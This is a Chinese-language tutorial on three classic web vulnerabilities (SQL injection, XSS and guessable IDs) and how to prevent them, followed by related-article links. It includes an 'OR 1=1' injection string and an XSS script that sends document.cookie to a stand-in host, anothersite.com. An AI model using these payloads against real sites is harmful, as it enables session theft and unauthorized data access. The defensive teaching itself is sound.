歷史悠久的3個經(jīng)典網(wǎng)站安全漏洞介紹

互聯(lián)網(wǎng)項目里邊,SQL注入漏洞、XSS漏洞和猜測URL攻擊這三個漏洞可謂歷史悠久,然而直到今天還有人不斷中槍,也真是微醺。
這幾個漏洞說大也大,說小也小。說大是說這些漏洞危害大,會導(dǎo)致數(shù)據(jù)層面的安全問題;說小是從技術(shù)層面上講都是未對外部輸入做處理導(dǎo)致的,想要做針對性地防范很簡單。下面簡單看看這些漏洞的原因及防范方法。
SQL注入
SQL注入之所以存在,主要是因為工程師將外部的輸入直接嵌入到將要執(zhí)行的SQL語句中了。黑客可以利用這一點執(zhí)行SQL指令來達(dá)到自己目的。舉例來說,有一個接受參數(shù)為id的頁面,在接收到id后從數(shù)據(jù)庫中查詢相應(yīng)的數(shù)據(jù), 其代碼大致如下:
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情況下,Request["ID"]為數(shù)字,這條SQL能很好地工作。如果我們認(rèn)為修改Request["ID"],將其內(nèi)容修改為?ID=1 OR 1=1 我們將得到這樣一條SQL:
SELECT * FROM [User] WHERE ID=1 OR 1=1
因為有OR的出現(xiàn)這條SQL語句已經(jīng)可以獲取User表中的任意信息。利用SQL注入漏洞,我們能夠獲取想要的信息,同時可以通過猜測-報錯獲取到數(shù)據(jù)庫其它表的結(jié)構(gòu)和信息,如果數(shù)據(jù)庫、服務(wù)器權(quán)限設(shè)置不當(dāng),甚至有可能能獲取到整個服務(wù)器的控制權(quán)限。
規(guī)避這種漏洞有很多種辦法,以現(xiàn)代的編程語言來說,選擇一個合適的ORM框架可以減少不少問題而且能大大提高開發(fā)效率。
如果因為某些原因需要繼續(xù)寫SQL語句,參數(shù)化查詢也能解決這一問題。
對于需要拼接SQL語句的程序來說,注意兩點也可以避免此問題。第一點是如果查詢的字段類型是數(shù)字等類型,在拼接SQL前先判斷輸入是不是一個合法的數(shù)字,不合法則終止程序即可。第二點是如果字段類型是字符串,則記得將輸入里的的單引號進行轉(zhuǎn)義。
XSS攻擊
如果說SQL注入是直接在SQL里執(zhí)行了用戶輸入,那XSS攻擊是在HTML里代碼執(zhí)行了用戶輸入。相對SQL注入,XSS似乎更能引起人關(guān)注。幾年前新浪微博被人利用XSS獲取大量粉絲;3DM也曾經(jīng)被植入script代碼對另一個游戲網(wǎng)站進行了慘無人道的DDOS攻擊。
這里還是用SQL注入中的例子來說,假設(shè)頁面輸出為:
<div><%= Request["ID"] %></div>
這里我們可以在Request["ID"]里傳入一段編碼后的腳本,在最終輸出的時候,就變成了一段可執(zhí)行的javascript代碼。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
這段代碼獲取到當(dāng)前頁面的cookie值,并將cookie值傳遞到另一個名為anothersite.com的網(wǎng)站。利用這種模式,黑客可以獲取到用戶的登錄信息或者將用戶跳轉(zhuǎn)到釣魚網(wǎng)站來達(dá)成自己的目的。
XSS攻擊也可以簡單分為兩種,一種是上述例子中利用url引誘客戶點擊來實現(xiàn);另一種是通過存儲到數(shù)據(jù)庫,在其它用戶獲取相關(guān)信息時來執(zhí)行腳本。
防范XSS攻擊需要在所有的字段都對輸入的字符串進行html encode(或者在輸出時進行encode)。如果需要使用富文本編輯的,可以考慮使用UBB。
猜測URL攻擊
猜測URL攻擊是通過已知的GET、POST參數(shù)來猜測未公開的參數(shù)并嘗試進行攻擊。
以Request["ID"]為例,如果ID為1是合法的可訪問的數(shù)據(jù),可以通過嘗試ID=2,ID=3等一系列來嘗試是否對其它資源有訪問、修改權(quán)限。如果控制不當(dāng),則可以輕松獲得并修改數(shù)據(jù)。
要避免這種問題,方案一是使用較長的無規(guī)律的數(shù)字、字符來做為ID,增大猜測難度;對于需要登錄的程序,可以判斷用戶身份是否有對應(yīng)ID數(shù)據(jù)的訪問、修改權(quán)限;如果ID已經(jīng)是自增類型且不需要登錄,可以用過在URL里增加無規(guī)律的校驗字段來避免。
其它需要注意的地方
安全是一個系統(tǒng)工程。
要提高系統(tǒng)安全性,最首要的一點是不要相信任何輸入!不要相信任何輸入!不要相信任何輸入!重要的事情說三遍。這里的輸入除了URL里的GET參數(shù)、POST參數(shù),還包括COOKIE、Header等可以進行修改的各類信息。
在程序設(shè)置方面,不輸出客戶不需要知道的各類信息,如原始的異常信息、異常附近的代碼段等等,這樣也能增加不少安全性。
最后,在測試或系統(tǒng)運行的過程中,可以使用類似appscan這樣的安全檢測工具來檢查程序是否有漏洞。
相關(guān)文章
2019最新RDP遠(yuǎn)程桌面漏洞官方補丁(針對win2003、win2008)
Windows系列服務(wù)器于2019年5月15號,被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系統(tǒng)都會遭到攻擊,該服務(wù)器漏洞利用方式是通過遠(yuǎn)程桌面端口332021-07-25寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma的問題分析
這篇文章主要介紹了寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-08-24CPU幽靈和熔斷漏洞是什么?Intel為大家簡單易懂的科普了一番
不久前讓整全行業(yè)緊張、全球用戶恐慌的Spectre幽靈、Meltdown熔斷兩大漏洞事件剛剛告一段落了,那么這兩個漏洞到底是什么?可能還有很多人不是很清楚,想了解的朋友跟著小2018-03-21- 2017年5月12日,WannaCry蠕蟲通過MS17-010漏洞在全球范圍大爆發(fā),感染了大量的計算機,該蠕蟲感染計算機后會向計算機中植入敲詐者病毒,導(dǎo)致電腦大量文件被加密,本文對其2017-05-17
- 大部分的用戶可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02
- 漏洞檢測工具用語有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介紹,本文介紹的非常詳細(xì),具有參考解決價值,感興趣的朋友一起看看吧2016-10-11
- 漏洞無處不在,它是在硬件、軟件、協(xié)議的具體實現(xiàn)或系統(tǒng)安全策略上存在的缺陷,從而可以使攻擊者能夠在未授權(quán)的情況下訪問或破壞系統(tǒng)2016-09-29
手把手教你如何構(gòu)造Office漏洞POC(以CVE-2012-0158為例)
近年來APT追蹤盛行,最常見的就是各種以釣魚開始的攻擊,不僅僅有網(wǎng)站掛馬式釣魚,也有魚叉式郵件釣魚,下面小編就為大家介紹office漏洞CVE-2012-0158,一起來看看吧2016-09-28- SSL(安全套接字層)逐漸被大家所重視,但是最不能忽視的也是SSL得漏洞,隨著SSL技術(shù)的發(fā)展,新的漏洞也就出現(xiàn)了,下面小編就為大家介紹簡單七步教你如何解決關(guān)鍵SSL安全問題2016-09-23
Python 爬蟲修養(yǎng)-處理動態(tài)網(wǎng)頁
在爬蟲開發(fā)中,大家可以很輕易地 bypass 所謂的 UA 限制,甚至用 scrapy 框架輕易實現(xiàn)按照深度進行爬行。但是實際上,這些并不夠。關(guān)于爬蟲的基礎(chǔ)知識比如數(shù)據(jù)處理與數(shù)據(jù)存2016-09-12